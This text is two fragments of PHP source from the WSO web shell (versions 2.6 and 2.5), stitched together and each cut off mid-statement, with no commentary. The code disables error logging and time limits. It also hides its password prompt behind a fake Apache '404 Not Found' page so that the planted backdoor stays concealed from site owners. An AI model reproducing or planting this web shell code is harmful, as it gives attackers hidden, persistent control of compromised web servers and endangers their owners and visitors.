exit; } } @session_start(); @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @set_time_limit(0); @set_magic_quotes_runtime(0); @define('WSO_VERSION', '2.6'); if (get_magic_quotes_gpc()) { function WSOstripslashes($array) { return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array); } $_POST = WSOstripslashes($_POST); } function wsoLogin() { die("<h1>Not Found</h1> \n<p>The requested URL was not found on this server.</p> \n<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> \n<hr> \n<address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at Port 80</address> \n <style> \n input { margin:0;background-color:#fff;border:1px solid #fff; } \n </style> \n <pre align=center> \n <form method=post> \n <input type=password name=pass> \n </form></pre>"); } if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) { if (empty($auth_pass) || isset($_POST['pass']) && md5($_POST['pass']) == $auth_pass) { $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; } else { wsoLogin(); } } if (strtolower(substr(PHP_OS, 0, 3)) == "win") { $os = 'win'; } else {
exit; } } @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @set_time_limit(0); @set_magic_quotes_runtime(0); @define('WSO_VERSION', '2.5'); if (get_magic_quotes_gpc()) { function WSOstripslashes($array) { return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array); } $_POST = WSOstripslashes($_POST); $_COOKIE = WSOstripslashes($_COOKIE); } function wsoLogin() { die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"); } function WSOsetcookie($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } if (!empty($auth_pass)) { if (isset($_POST['pass']) && md5($_POST['pass']) == $auth_pass) { WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); } if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || $_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass) {